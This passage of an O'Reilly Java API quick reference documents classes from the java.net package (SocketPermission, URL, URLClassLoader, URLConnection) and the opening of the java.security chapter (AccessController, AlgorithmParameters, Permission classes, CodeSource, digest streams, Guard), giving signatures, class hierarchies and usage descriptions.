In addition to a target, each SocketPermission must have a comma-separated list of actions, which specify the operations that may be performed on the specified host(s) and port(s). The available actions are "connect", "accept", "listen", and "resolve". "connect" represents permission to connect to the specified target. "accept" indicates permission to accept connections from the specified target. "listen" represents permission to listen on the specified ports for connection requests. This action is only valid when used for ports on "localhost". Finally, the "resolve" action indicates permission to use the DNS name service to resolve domain names into IP addresses. This action is required for and implied by all other actions.

System administrators configuring security policies must be familiar with this class and understand the risks of granting the various permissions it represents. System programmers writing new low-level networking libraries or connecting to native code that performs networking may need to use this class. Application programmers, however, should never need to use it directly.

public final class SocketPermission extends java.security.Permission implements Serializable {
// | Public Constructors
 | public SocketPermission (String host, String action);
// | Public Methods Overriding Permission
 | public boolean equals (Object obj);
 | public String getActions ();
 | public int hashCode ();
 | public boolean implies (java.security.Permission p);
 | public java.security.PermissionCollection newPermissionCollection ();
}

Hierarchy: Object-->java.security.Permission(java.security.Guard,Serializable)-->SocketPermission(Serializable)

UnknownHostException | Java 1.0
java.net | serializable checked PJ1.1

Signals that the name of a specified host could not be resolved.

public class UnknownHostException extends java.io.IOException {
// | Public Constructors
 | public UnknownHostException ();
 | public UnknownHostException (String host);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.io.IOException-->java.net.UnknownHostException

Thrown By: InetAddress.{getAllByName(), getByName(), getLocalHost()}, Socket.Socket()

UnknownServiceException | Java 1.0
java.net | serializable checked PJ1.1

Signals an attempt to use an unsupported service of a network connection.

public class UnknownServiceException extends java.io.IOException {
// | Public Constructors
 | public UnknownServiceException ();
 | public UnknownServiceException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.io.IOException-->UnknownServiceException

URL | Java 1.0
java.net | serializable PJ1.1

This class represents a uniform resource locator and allows the data referred to by the URL to be downloaded. A URL can be specified as a single string or with separate protocol, host, port, and file specifications. Relative URLs can also be specified with a String and the URL object to which it is relative. getFile(), getHost(), getPort(), getProtocol(), and getRef() return the various portions of the URL specified by a URL object. sameFile() determines whether a URL object refers to the same file as this one. The data or object referred to by a URL can be downloaded from the Internet in three ways: with a URLConnection created with openConnection(), with an InputStream created by openStream(), or with getContent(), which returns the URL contents directly if an appropriate ContentHandler can be found.

public final class URL implements Serializable {
// | Public Constructors
 | public URL (String spec) throws MalformedURLException; |
 | public URL (URL context, String spec) throws MalformedURLException; |
1.2 | public URL (URL context, String spec, URLStreamHandler handler) throws MalformedURLException; |
 | public URL (String protocol, String host, String file) throws MalformedURLException; |
 | public URL (String protocol, String host, int port, String file) throws MalformedURLException; |
1.2 | public URL (String protocol, String host, int port, String file, URLStreamHandler handler) throws MalformedURLException; |
// | Public Class Methods
 | public static void setURLStreamHandlerFactory (URLStreamHandlerFactory fac); | synchronized
// | Property Accessor Methods (by property name)
1.3 | public String getAuthority (); |
 | public final Object getContent () throws java.io.IOException; |
1.3 | public final Object getContent (Class[ ] classes) throws java.io.IOException; |
 | public String getFile (); |
 | public String getHost (); |
1.3 | public String getPath (); |
 | public int getPort (); |
 | public String getProtocol (); |
1.3 | public String getQuery (); |
 | public String getRef (); |
1.3 | public String getUserInfo (); |
// | Public Instance Methods
 | public URLConnection openConnection () throws java.io.IOException; |
 | public final java.io.InputStream openStream () throws java.io.IOException; |
 | public boolean sameFile (URL other); |
 | public String toExternalForm (); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); | synchronized
 | public String toString (); |
// | Protected Instance Methods
 | protected void set (String protocol, String host, int port, String file, String ref); |
1.3 | protected void set (String protocol, String host, int port, String authority, String userInfo, String path, String query, String ref); |
}

Hierarchy: Object-->URL(Serializable)

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: URLConnection.url

URLClassLoader Java 1.2
java.net

This ClassLoader provides a useful way to load untrusted Java code from a search path of arbitrary URLs, where each URL represents a directory or JAR file to search. Use the inherited loadClass() method to load a named class with a URLClassLoader. Classes loaded by a URLClassLoader have whatever permissions are granted to their java.security.CodeSource by the system java.security.Policy, plus they have one additional permission that allows the class loader to read any resource files associated with the class. If the class is loaded from a local file: URL that represents a directory, the class is given permission to read all files and directories below that directory. If the class is loaded from a local file: URL that represents a JAR file, the class is given permission to read that JAR file. If the class is loaded from a URL that represents a resource on another host, that class is given permission to connect to and accept network connections from that host. Note, however, that loaded classes are not granted this additional permission if the code that created the URLClassLoader in the first place would not have had that permission.

You can obtain a URLClassLoader by calling one of the URLClassLoader() constructors or one of the static newInstance() methods. If you call newInstance(), the loadClass() method of the returned URLClassLoader performs an additional check to ensure that the caller has permission to access the specified package.

public class URLClassLoader extends java.security.SecureClassLoader {
// | Public Constructors
 | public URLClassLoader (URL[ ] urls);
 | public URLClassLoader (URL[ ] urls, ClassLoader parent);
 | public URLClassLoader (URL[ ] urls, ClassLoader parent, URLStreamHandlerFactory factory);
// | Public Class Methods
 | public static URLClassLoader newInstance (URL[ ] urls);
 | public static URLClassLoader newInstance (URL[ ] urls, ClassLoader parent);
// | Public Instance Methods
 | public URL[ ] getURLs ();
// | Protected Methods Overriding SecureClassLoader
 | protected java.security.PermissionCollection getPermissions (java.security.CodeSource codesource);
// | Public Methods Overriding ClassLoader
 | public URL findResource (String name);
 | public java.util.Enumeration findResources (String name) throws java.io.IOException;
// | Protected Methods Overriding ClassLoader
 | protected Class findClass (String name) throws ClassNotFoundException;
// | Protected Instance Methods
 | protected void addURL (URL url);
 | protected Package definePackage (String name, java.util.jar.Manifest man, URL url) throws IllegalArgumentException;
}

Hierarchy: Object-->ClassLoader-->java.security.SecureClassLoader-->URLClassLoader

Returned By: URLClassLoader.newInstance()

URLConnection | Java 1.0
java.net | PJ1.1

This abstract class defines a network connection to an object specified by a URL. URL.openConnection() returns a URLConnection instance. You should use a URLConnection object when you want more control over the downloading of data than is available through the simpler URL methods. connect() actually makes the network connection. Other methods that depend on being connected call this method. getContent() returns the data referred to by the URL, parsed into an appropriate type of Object. If the URL protocol supports read and write operations, getInputStream() and getOutputStream() return input and output streams to the object referred to by the URL, respectively. getContentLength(), getContentType(), getContentEncoding(), getExpiration(), getDate(), and getLastModified() return the appropriate information about the object referred to by the URL, if that information can be determined (e.g., from HTTP header fields). getHeaderField() returns an HTTP header field specified by name or by number. getHeaderFieldInt() and getHeaderFieldDate() return the value of a named header field parsed as an integer or a date.

There are a number of options you can specify to control how the URLConnection behaves. These options are set with the various set() methods and may be queried with corresponding get() methods. The options must be set before the connect() method is called. setDoInput() and setDoOutput() allow you to specify whether you are using the URLConnection for input and/or output (input-only by default). setAllowUserInteraction() specifies whether user interaction (such as typing a password) is allowed during the data transfer (false by default). setDefaultAllowUserInteraction() is a class method that allows you to change the default value for user interaction. setUseCaches() allows you to specify whether a cached version of the URL can be used. You can set this to false to force a URL to be reloaded. setDefaultUseCaches() sets the default value for setUseCaches(). setIfModifiedSince() allows you to specify that a URL should not be fetched unless it has been modified since a specified time (if it is possible to determine its modification date).

public abstract class URLConnection {
// | Protected Constructors
 | protected URLConnection (URL url); |
// | Public Class Methods
 | public static boolean getDefaultAllowUserInteraction (); |
1.1 | public static FileNameMap getFileNameMap (); | synchronized
 | public static String guessContentTypeFromStream (java.io.InputStream is) throws java.io.IOException; |
 | public static void setContentHandlerFactory (ContentHandlerFactory fac); | synchronized
 | public static void setDefaultAllowUserInteraction (boolean defaultallowuserinteraction); |
1.1 | public static void setFileNameMap (FileNameMap map); |
// | Protected Class Methods
 | protected static String guessContentTypeFromName (String fname); |
// | Property Accessor Methods (by property name)
 | public boolean getAllowUserInteraction (); |
 | public void setAllowUserInteraction (boolean allowuserinteraction); |
 | public Object getContent () throws java.io.IOException; |
1.3 | public Object getContent (Class[ ] classes) throws java.io.IOException; |
 | public String getContentEncoding (); |
 | public int getContentLength (); |
 | public String getContentType (); |
 | public long getDate (); |
 | public boolean getDefaultUseCaches (); |
 | public void setDefaultUseCaches (boolean defaultusecaches); |
 | public boolean getDoInput (); |
 | public void setDoInput (boolean doinput); |
 | public boolean getDoOutput (); |
 | public void setDoOutput (boolean dooutput); |
 | public long getExpiration (); |
 | public long getIfModifiedSince (); |
 | public void setIfModifiedSince (long ifmodifiedsince); |
 | public java.io.InputStream getInputStream () throws java.io.IOException; |
 | public long getLastModified (); |
 | public java.io.OutputStream getOutputStream () throws java.io.IOException; |
1.2 | public java.security.Permission getPermission () throws java.io.IOException; |
 | public URL getURL (); |
 | public boolean getUseCaches (); |
 | public void setUseCaches (boolean usecaches); |
// | Public Instance Methods
 | public abstract void connect () throws java.io.IOException; |
 | public String getHeaderField (int n); | constant
 | public String getHeaderField (String name); | constant
 | public long getHeaderFieldDate (String name, long Default); |
 | public int getHeaderFieldInt (String name, int Default); |
 | public String getHeaderFieldKey (int n); | constant
 | public String getRequestProperty (String key); |
 | public void setRequestProperty (String key, String value); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Fields
 | protected boolean allowUserInteraction ; |
 | protected boolean connected ; |
 | protected boolean doInput ; |
 | protected boolean doOutput ; |
 | protected long ifModifiedSince ; |
 | protected URL url ; |
 | protected boolean useCaches ; |
// | Deprecated Public Methods
# | public static String getDefaultRequestProperty (String key); | constant
# | public static void setDefaultRequestProperty (String key, String value); | empty
}

Subclasses: HttpURLConnection, JarURLConnection

Passed To: ContentHandler.getContent()

Returned By: URL.openConnection(), URLStreamHandler.openConnection()

Type Of: JarURLConnection.jarFileURLConnection

URLDecoder Java 1.2
java.net

This class defines a static decode() method that reverses the encoding performed by URLEncoder.encode(). It decodes 8-bit text with the MIME type "x-www-form-urlencoded", which is a standard encoding used by web browsers to submit form contents to CGI scripts and other server-side programs.

public class URLDecoder {
// | Public Constructors
 | public URLDecoder ();
// | Public Class Methods
 | public static String decode (String s);
}
URLEncoder | Java 1.0
java.net | PJ1.1

This class defines a single static method that converts a string to its URL-encoded form. That is, spaces are converted to +, and nonalphanumeric characters other than underscore are output as two hexadecimal digits following a percent sign. Note that this technique works only for 8-bit characters. This method canonicalizes a URL specification so that it uses only characters from an extremely portable subset of ASCII that can be correctly handled by computers around the world.

public class URLEncoder {
// | No Constructor
// | Public Class Methods
 | public static String encode (String s);
}
URLStreamHandler | Java 1.0
java.net | PJ1.1

This abstract class defines the openConnection() method that creates a URLConnection for a given URL. A separate subclass of this class may be defined for various URL protocol types. A URLStreamHandler is created by a URLStreamHandlerFactory. Normal applications never need to use or subclass this class.

public abstract class URLStreamHandler {
// | Public Constructors
 | public URLStreamHandler (); |
// | Protected Instance Methods
1.3 | protected boolean equals (URL u1, URL u2); |
1.3 | protected int getDefaultPort (); | constant
1.3 | protected InetAddress getHostAddress (URL u); | synchronized
1.3 | protected int hashCode (URL u); |
1.3 | protected boolean hostsEqual (URL u1, URL u2); |
 | protected abstract URLConnection openConnection (URL u) throws java.io.IOException; |
 | protected void parseURL (URL u, String spec, int start, int limit); |
1.3 | protected boolean sameFile (URL u1, URL u2); |
1.3 | protected void setURL (URL u, String protocol, String host, int port, String authority, String userInfo, String path, String query, String ref); |
 | protected String toExternalForm (URL u); |
// | Deprecated Protected Methods
# | protected void setURL (URL u, String protocol, String host, int port, String file, String ref); |
}

Passed To: URL.URL()

Returned By: URLStreamHandlerFactory.createURLStreamHandler()

URLStreamHandlerFactory | Java 1.0
java.net | PJ1.1

This interface defines a method that creates a URLStreamHandler object for a specified protocol. Normal applications never need to use or implement this interface.

public interface URLStreamHandlerFactory {
// | Public Instance Methods
 | public abstract URLStreamHandler createURLStreamHandler (String protocol);
}

Passed To: URL.setURLStreamHandlerFactory(), URLClassLoader.URLClassLoader()

Previous | Home | Next
15.1. The java.math Package | Book Index | 17. The java.security Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.security Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 17. The java.security Package

The java.security package contains the classes and interfaces that implement the Java security architecture. These classes can be divided into two broad categories. First, there are classes that implement access control and prevent untrusted code from performing sensitive operations. Second, there are authentication classes that implement message digests and digital signatures and can authenticate Java classes and other objects.

The central access control class is AccessController; it uses the currently installed Policy object to decide whether a given class has Permission to access a given system resource. The Permissions and ProtectionDomain classes are also important pieces of the Java access control architecture. Figure 17-1 shows the access control classes of this package.

Figure 17-1. The access control classes of the java.security package

The key classes for authentication are MessageDigest and Signature; they compute and verify cryptographic message digests and digital signatures. These classes use public-key cryptography techniques and rely on the PublicKey and PrivateKey classes. They also rely on an infrastructure of related classes, such as SecureRandom for producing cryptographic-strength pseudo-random numbers, KeyPairGenerator for generating pairs of public and private keys, and KeyStore for managing a collection of keys and certificates. (This package defines a Certificate interface, but it is deprecated; see the java.security.cert package for the preferred Certificate class.) Figure 17-2 shows the authentication classes of java.security, while Figure 17-3 shows the exceptions.

Figure 17-2. The authentication classes of the java.security package

Figure 17-3. The exception classes of the java.security package

The CodeSource class unites the authentication classes with the access control classes. It represents the source of a Java class as a URL and a set of java.security.cert.Certificate objects that contain the digital signatures of the code. The AccessController and Policy classes look at the CodeSource of a class when making access control decisions.

All the cryptographic-authentication features of this package are provider-based, which means they are implemented by security provider modules that can be plugged easily into any Java 1.2 (or later) installation. Thus, in addition to defining a security API, this package also defines a service provider interface (SPI). Various classes with names that end in "Spi" are part of this SPI. Security provider implementations must subclass these Spi classes, but applications never need to use them. Each security provider is represented by a Provider class, and the Security class allows new providers to be dynamically installed.

The java.security package contains several useful utility classes. For example, DigestInputStream and DigestOutputStream make it easy to compute message digests. GuardedObject provides customizable access control for an individual object. SignedObject protects the integrity of an arbitrary Java object by attaching a digital signature, making it easy to detect any tampering with the object. Although the java.security package contains cryptographic classes for authentication, it does not contain classes for encryption or decryption. U.S. export control laws prevent Sun from including encryption and decryption functionality in the core Java platform. Instead, this functionality is part of the Java Cryptography Extension, or JCE. The JCE builds upon the cryptographic infrastructure of java.security; see Chapter 26, "The javax.crypto Package".

AccessControlContext Java 1.2
java.security

This class encapsulates the state of a call stack. The checkPermission() method can make access-control decisions based on the saved state of the call stack. Access-control checks are usually performed by the AccessController.checkPermission() method, which checks that the current call stack has the required permissions. Sometimes, however, it is necessary to make access-control decisions based on a previous state of the call stack. Call AccessController.getContext() to create an AccessControlContext for a particular call stack. In Java 1.3, this class has constructors that specify a custom context in the form of an array of ProtectionDomain objects and that associate a DomainCombiner object with an existing AccessControlContext. This class is used only by system-level code; typical applications rarely need to use it.

public final class AccessControlContext {
// | Public Constructors
 | public AccessControlContext (ProtectionDomain[ ] context);
1.3 | public AccessControlContext (AccessControlContext acc, DomainCombiner combiner);
// | Public Instance Methods
 | public void checkPermission (java.security.Permission perm) throws AccessControlException;
1.3 | public DomainCombiner getDomainCombiner ();
// | Public Methods Overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
}

Passed To: AccessControlContext.AccessControlContext(), AccessController.doPrivileged()

Returned By: AccessController.getContext()

AccessControlException | Java 1.2
java.security | serializable unchecked

Thrown by AccessController to signal that an access request has been denied. getPermission() returns the Permission object, if any, that was involved in the denied request.

public class AccessControlException extends SecurityException {
// | Public Constructors
 | public AccessControlException (String s);
 | public AccessControlException (String s, java.security.Permission p);
// | Public Instance Methods
 | public java.security.Permission getPermission ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->SecurityException-->AccessControlException

Thrown By: AccessControlContext.checkPermission(), AccessController.checkPermission()

AccessController Java 1.2
java.security

The static methods of this class implement the default access-control mechanism as of Java 1.2. checkPermission() traverses the call stack of the current thread and checks whether all classes in the call stack have the requested permission. If so, checkPermission() returns, and the operation can proceed. If not, checkPermission() throws an AccessControlException. As of Java 1.2, the checkPermission() method of the default java.lang.SecurityManager calls AccessController.checkPermission(). System-level code that needs to perform an access check should invoke the SecurityManager method rather than calling the AccessController method directly. Unless you are writing system-level code that must control access to system resources, you never need to use this class or the SecurityManager.checkPermission() method.

The various doPrivileged() methods run blocks of privileged code encapsulated in a PrivilegedAction or PrivilegedExceptionAction object. When checkPermission() is traversing the call stack of a thread, it stops if it reaches a privileged block that was executed with doPrivileged(). This means that privileged code can run with a full set of privileges, even if it was invoked by untrusted or lower-privileged code. See PrivilegedAction for more details.

The getContext() method returns an AccessControlContext that represents the current security context of the caller. Such a context might be saved and passed to a future call (perhaps a call made from a different thread). Use the two-argument version of doPrivileged() to force permission checks to check the AccessControlContext as well.

public final class AccessController {
// | No Constructor
// | Public Class Methods
 | public static void checkPermission (java.security.Permission perm) throws AccessControlException; |
 | public static Object doPrivileged (PrivilegedExceptionAction action) throws PrivilegedActionException; | native
 | public static Object doPrivileged (PrivilegedAction action); | native
 | public static Object doPrivileged (PrivilegedExceptionAction action, AccessControlContext context) throws PrivilegedActionException; | native
 | public static Object doPrivileged (PrivilegedAction action, AccessControlContext context); | native
 | public static AccessControlContext getContext (); |
}
AlgorithmParameterGenerator Java 1.2
java.security

This class defines a generic API for generating parameters for a cryptographic algorithm, typically a Signature or a javax.crypto.Cipher. Create an AlgorithmParameterGenerator by calling one of the static getInstance() factory methods and specifying the name of the algorithm and, optionally, the name of the desired provider. The default "SUN" provider supports the "DSA" algorithm. The "SunJCE" provider shipped with the JCE supports "DiffieHellman". Once you have obtained a generator, initialize it by calling the init() method and specifying an algorithm-independent parameter size (in bits) or an algorithm-dependent AlgorithmParameterSpec object. You may also specify a SecureRandom source of randomness when you call init(). Once you have created and initialized the AlgorithmParameterGenerator, call generateParameters() to generate an AlgorithmParameters object.

public class AlgorithmParameterGenerator {
// | Protected Constructors
 | protected AlgorithmParameterGenerator (AlgorithmParameterGeneratorSpi paramGenSpi, Provider provider, String algorithm);
// | Public Class Methods
 | public static AlgorithmParameterGenerator getInstance (String algorithm) throws NoSuchAlgorithmException;
 | public static AlgorithmParameterGenerator getInstance (String algorithm, String provider) throws NoSuchAlgorithmExceptionNoSuchProviderException;
// | Public Instance Methods
 | public final AlgorithmParameters generateParameters ();
 | public final String getAlgorithm ();
 | public final Provider getProvider ();
 | public final void init (java.security.spec.AlgorithmParameterSpec genParamSpec) throws InvalidAlgorithmParameterException;
 | public final void init (int size);
 | public final void init (java.security.spec.AlgorithmParameterSpec genParamSpec, SecureRandom random) throws InvalidAlgorithmParameterException;
 | public final void init (int size, SecureRandom random);
}

Returned By: AlgorithmParameterGenerator.getInstance()

AlgorithmParameterGeneratorSpi Java 1.2
java.security

This abstract class defines the service-provider interface for algorithm-parameter generation. A security provider must implement a concrete subclass of this class for each algorithm it supports. Applications never need to use or subclass this class.

public abstract class AlgorithmParameterGeneratorSpi {
// | Public Constructors
 | public AlgorithmParameterGeneratorSpi ();
// | Protected Instance Methods
 | protected abstract AlgorithmParameters engineGenerateParameters ();
 | protected abstract void engineInit (java.security.spec.AlgorithmParameterSpec genParamSpec, SecureRandom random) throws InvalidAlgorithmParameterException;
 | protected abstract void engineInit (int size, SecureRandom random);
}

Passed To: AlgorithmParameterGenerator.AlgorithmParameterGenerator()

AlgorithmParameters Java 1.2
java.security

This class is a generic, opaque representation of the parameters used by some cryptographic algorithm. You can create an instance of the class with one of the static getInstance() factory methods, specifying the desired algorithm and, optionally, the desired provider. The default "SUN" provider supports the "DSA" algorithm. The "SunJCE" provider shipped with the JCE supports "DES", "DESede", "PBE", "Blowfish", and "DiffieHellman". Once you have obtained an AlgorithmParameters object, initialize it by passing an algorithm-specific java.security.spec.AlgorithmParameterSpec object or the encoded parameter values as a byte array to the init() method. You can also create an AlgorithmParameters object with an AlgorithmParameterGenerator. getEncoded() returns the initialized algorithm parameters as a byte array, using either the algorithm-specific default encoding or the named encoding format you specified.

public class AlgorithmParameters {
// | Protected Constructors
 | protected AlgorithmParameters (AlgorithmParametersSpi paramSpi, Provider provider, String algorithm);
// | Public Class Methods
 | public static AlgorithmParameters getInstance (String algorithm) throws NoSuchAlgorithmException;
 | public static AlgorithmParameters getInstance (String algorithm, String provider) throws NoSuchAlgorithmExceptionNoSuchProviderException;
// | Public Instance Methods
 | public final String getAlgorithm ();
 | public final byte[ ] getEncoded () throws java.io.IOException;
 | public final byte[ ] getEncoded (String format) throws java.io.IOException;
 | public final java.security.spec.AlgorithmParameterSpec getParameterSpec (Class paramSpec) throws java.security.spec.InvalidParameterSpecException;
 | public final Provider getProvider ();
 | public final void init (java.security.spec.AlgorithmParameterSpec paramSpec) throws java.security.spec.InvalidParameterSpecException;
 | public final void init (byte[ ] params) throws java.io.IOException;
 | public final void init (byte[ ] params, String format) throws java.io.IOException;
// | Public Methods Overriding Object
 | public final String toString ();
}

Passed To: javax.crypto.Cipher.init(), javax.crypto.CipherSpi.engineInit()

Returned By: AlgorithmParameterGenerator.generateParameters(), AlgorithmParameterGeneratorSpi.engineGenerateParameters(), AlgorithmParameters.getInstance(), javax.crypto.Cipher.getParameters(), javax.crypto.CipherSpi.engineGetParameters()

AlgorithmParametersSpi Java 1.2
java.security

This abstract class defines the service-provider interface for AlgorithmParameters. A security provider must implement a concrete subclass of this class for each cryptographic algorithm it supports. Applications never need to use or subclass this class.

public abstract class AlgorithmParametersSpi {
// | Public Constructors
 | public AlgorithmParametersSpi ();
// | Protected Instance Methods
 | protected abstract byte[ ] engineGetEncoded () throws java.io.IOException;
 | protected abstract byte[ ] engineGetEncoded (String format) throws java.io.IOException;
 | protected abstract java.security.spec.AlgorithmParameterSpec engineGetParameterSpec (Class paramSpec) throws java.security.spec.InvalidParameterSpecException;
 | protected abstract void engineInit (java.security.spec.AlgorithmParameterSpec paramSpec) throws java.security.spec.InvalidParameterSpecException;
 | protected abstract void engineInit (byte[ ] params) throws java.io.IOException;
 | protected abstract void engineInit (byte[ ] params, String format) throws java.io.IOException;
 | protected abstract String engineToString ();
}

Passed To: AlgorithmParameters.AlgorithmParameters()

AllPermission | Java 1.2
java.security | serializable permission

This class is a Permission subclass whose implies() method always returns true. This means that code that has been granted AllPermission is granted all other possible permissions. This class exists to provide a convenient way to grant all permissions to completely trusted code. It should be used with care. Applications typically do not need to work directly with Permission objects.

public final class AllPermission extends java.security.Permission {
// | Public Constructors
 | public AllPermission (); |
 | public AllPermission (String name, String actions); |
// | Public Methods Overriding Permission
 | public boolean equals (Object obj); |
 | public String getActions (); | default:"<all actions>"
 | public int hashCode (); | constant
 | public boolean implies (java.security.Permission p); | constant
 | public PermissionCollection newPermissionCollection (); |
}

Hierarchy: Object-->java.security.Permission(Guard,Serializable)-->AllPermission

BasicPermission | Java 1.2
java.security | serializable permission

This Permission class is the abstract superclass for a number of simple permission types. BasicPermission is typically subclassed to implement named permissions that have a name, or target, string, but do not support actions. The implies() method of BasicPermission defines a simple wildcarding capability. The target "*" implies permission for any target. The target "x.*" implies permission for any target that begins with "x.". Applications typically do not need to work directly with Permission objects.

public abstract class BasicPermission extends java.security.Permission implements Serializable {
// | Public Constructors
 | public BasicPermission (String name);
 | public BasicPermission (String name, String actions);
// | Public Methods Overriding Permission
 | public boolean equals (Object obj);
 | public String getActions ();
 | public int hashCode ();
 | public boolean implies (java.security.Permission p);
 | public PermissionCollection newPermissionCollection ();
}

Hierarchy: Object-->java.security.Permission(Guard,Serializable)-->BasicPermission(Serializable)

Subclasses: java.awt.AWTPermission, java.io.SerializablePermission, RuntimePermission, java.lang.reflect.ReflectPermission, java.net.NetPermission, SecurityPermission, java.sql.SQLPermission, java.util.PropertyPermission

Certificate | Java 1.1; Deprecated in Java 1.2
java.security | PJ1.1(opt)

This interface was used in Java 1.1 to represent an identity certificate. It has been deprecated as of Java 1.2 in favor of the java.security.cert package (see Chapter 19, The java.security.cert Package.) See also java.security.cert.Certificate.

public interface Certificate {
// | Public Instance Methods
 | public abstract void decode (java.io.InputStream stream) throws KeyExceptionjava.io.IOException;
 | public abstract void encode (java.io.OutputStream stream) throws KeyExceptionjava.io.IOException;
 | public abstract String getFormat ();
 | public abstract java.security.Principal getGuarantor ();
 | public abstract java.security.Principal getPrincipal ();
 | public abstract PublicKey getPublicKey ();
 | public abstract String toString (boolean detailed);
}

Passed To: Identity.{addCertificate(), removeCertificate()}

Returned By: Identity.certificates()

CodeSource | Java 1.2
java.security | serializable

This class represents the source of a Java class, as defined by the URL from which the class was loaded and the set of digital signatures attached to the class. A CodeSource object is created by specifying a java.net.URL and an array of java.security.cert.Certificate objects. Only applications that create custom ClassLoader objects should ever need to use or subclass this class.

When a CodeSource represents a specific piece of Java code, it includes a fully qualified URL and the actual set of certificates used to sign the code. When a CodeSource object defines a ProtectionDomain, however, the URL may include wildcards, and the array of certificates is a minimum required set of signatures. The implies() method of such a CodeSource tests whether a particular Java class comes from a matching URL and has the required set of signatures.

public class CodeSource implements Serializable {
// | Public Constructors
 | public CodeSource (java.net.URL url, java.security.cert.Certificate[ ] certs);
// | Public Instance Methods
 | public final java.security.cert.Certificate[ ] getCertificates ();
 | public final java.net.URL getLocation ();
 | public boolean implies (CodeSource codesource);
// | Public Methods Overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
}

Hierarchy: Object-->CodeSource(Serializable)

Passed To: java.net.URLClassLoader.getPermissions(), CodeSource.implies(), java.security.Policy.getPermissions(), ProtectionDomain.ProtectionDomain(), SecureClassLoader.{defineClass(), getPermissions()}

Returned By: ProtectionDomain.getCodeSource()

DigestException | Java 1.1
java.security | serializable checked PJ1.1(opt)

Signals a problem creating a message digest.

public class DigestException extends GeneralSecurityException {
// | Public Constructors
 | public DigestException ();
 | public DigestException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->GeneralSecurityException-->DigestException

Thrown By: MessageDigest.digest(), MessageDigestSpi.engineDigest()

DigestInputStream | Java 1.1
java.security | PJ1.1(opt)

This class is a byte input stream with an associated MessageDigest object. When bytes are read with any of the read() methods, those bytes are automatically passed to the update() method of the MessageDigest. When you have finished reading bytes, you can call the digest() method of the MessageDigest to obtain a message digest. If you want to compute a digest just for some of the bytes read from the stream, use on() to turn the digesting function on and off. Digesting is on by default; call on(false) to turn it off. See also DigestOutputStream and MessageDigest.

public class DigestInputStream extends java.io.FilterInputStream {
// | Public Constructors
 | public DigestInputStream (java.io.InputStream stream, MessageDigest digest);
// | Public Instance Methods
 | public MessageDigest getMessageDigest ();
 | public void on (boolean on);
 | public void setMessageDigest (MessageDigest digest);
// | Public Methods Overriding FilterInputStream
 | public int read () throws java.io.IOException;
 | public int read (byte[ ] b, int off, int len) throws java.io.IOException;
// | Public Methods Overriding Object
 | public String toString ();
// | Protected Instance Fields
 | protected MessageDigest digest ;
}

Hierarchy: Object-->java.io.InputStream-->java.io.FilterInputStream-->DigestInputStream

DigestOutputStream | Java 1.1
java.security | PJ1.1(opt)

This class is a byte output stream with an associated MessageDigest object. When bytes are written to the stream with any of the write() methods, those bytes are automatically passed to the update() method of the MessageDigest. When you have finished writing bytes, you can call the digest() method of the MessageDigest to obtain a message digest. If you want to compute a digest just for some of the bytes written to the stream, use on() to turn the digesting function on and off. Digesting is on by default; call on(false) to turn it off. See also DigestInputStream and MessageDigest.

public class DigestOutputStream extends java.io.FilterOutputStream {
// | Public Constructors
 | public DigestOutputStream (java.io.OutputStream stream, MessageDigest digest);
// | Public Instance Methods
 | public MessageDigest getMessageDigest ();
 | public void on (boolean on);
 | public void setMessageDigest (MessageDigest digest);
// | Public Methods Overriding FilterOutputStream
 | public void write (int b) throws java.io.IOException;
 | public void write (byte[ ] b, int off, int len) throws java.io.IOException;
// | Public Methods Overriding Object
 | public String toString ();
// | Protected Instance Fields
 | protected MessageDigest digest ;
}

Hierarchy: Object-->java.io.OutputStream-->java.io.FilterOutputStream-->DigestOutputStream

DomainCombiner Java 1.3 Beta
java.security

This interface defines a single combine() method that combines two arrays of ProtectionDomain objects into a single equivalent (and perhaps optimized) array. You can associate a DomainCombiner with an existing AccessControlContext by calling the two-argument AccessControlContext() constructor. Then, when the checkPermission() method of the AccessControlContext is called or when the AccessControlContext is passed to a doPrivileged() method of AccessController, the specified DomainCombiner merges the protection domains of the current stack frame with the protection domains encapsulated in the AccessControlContext. This class is used only by system-level code; typical applications rarely need to use it.

public interface DomainCombiner {
// | Public Instance Methods
 | public abstract ProtectionDomain[ ] combine (ProtectionDomain[ ] currentDomains, ProtectionDomain[ ] assignedDomains);
}

Passed To: AccessControlContext.AccessControlContext()

Returned By: AccessControlContext.getDomainCombiner()

GeneralSecurityException | Java 1.2
java.security | serializable checked

This class is the superclass of most of the exceptions defined by the java.security package.

public class GeneralSecurityException extends Exception {
// | Public Constructors
 | public GeneralSecurityException ();
 | public GeneralSecurityException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->GeneralSecurityException

Subclasses: DigestException, InvalidAlgorithmParameterException, KeyException, KeyStoreException, NoSuchAlgorithmException, NoSuchProviderException, SignatureException, UnrecoverableKeyException, java.security.cert.CertificateException, java.security.cert.CRLException, java.security.spec.InvalidKeySpecException, java.security.spec.InvalidParameterSpecException, javax.crypto.BadPaddingException, javax.crypto.IllegalBlockSizeException, javax.crypto.NoSuchPaddingException, javax.crypto.ShortBufferException

Guard Java 1.2
java.security

This interface guards access to an object. The checkGuard() method is passed an object to which access has been requested. If access should be granted, checkGuard() should return silently. Otherwise, if access is denied, checkGuard() should throw a java.lang.SecurityException. The Guard object is used primarily by the GuardedObject class. Note that all Permission objects implement the Guard interface.

public interface Guard {
// | Public Instance Methods
 | public abstract void checkGuard (Object object) throws SecurityException;
}

Implementations: java.security.Permission

Passed To: GuardedObject.GuardedObject()

GuardedObject | Java 1.2
java.security | serializable

This class uses a Guard object to guard against unauthorized access to an arbitrary encapsulated object. Create a GuardedObject by specifying an object and a Guard for it. The getObject() method calls the checkGuard() method of the Guard to determine whether access to the object should be allowed. If access is allowed, getObject() returns the encapsulated object. Otherwise, it throws a java.lang.SecurityException.

The Guard object used by a GuardedObject is often a Permission. In this case, access to the guarded object is granted only if the calling code is granted the specified permission by the current security policy.

